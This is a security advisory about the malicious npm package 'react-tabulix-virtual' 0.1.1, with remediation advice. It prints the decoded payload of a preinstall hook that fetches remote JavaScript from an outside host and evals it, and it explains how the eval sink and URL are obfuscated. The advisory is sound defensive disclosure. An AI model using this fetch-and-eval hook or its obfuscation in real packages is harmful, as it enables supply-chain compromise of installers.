If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (f90c8fc6aca32e28a4faed28ca3f7879cb22e84139b7b09a2a83c5df74259a14)
package.json declares scripts.preinstall as `node./dist/index.d.js`, which runs automatically on `npm install`. dist/index.d.js contains a base64-encoded string that decodes to `eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=>r.text()))`. The `eval` identifier is reconstructed at runtime from the character-code array [101,118,97,108] so the sink name does not appear as a literal in the source. On install, the package fetches JavaScript from everydaynodechecker-39143n.vercel.app and executes it with the installer's privileges. Both the destination URL (base64) and the `eval` sink (char-code assembly) are obfuscated.
Source: ossf-package-analysis (dbfc5a819e6dfbc3c65ec83a79a9f93a95da71259279c54e95f34c36ab81a22f)
The OpenSSF Package Analysis project identified 'react-tabulix-virtual' @ 0.1.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.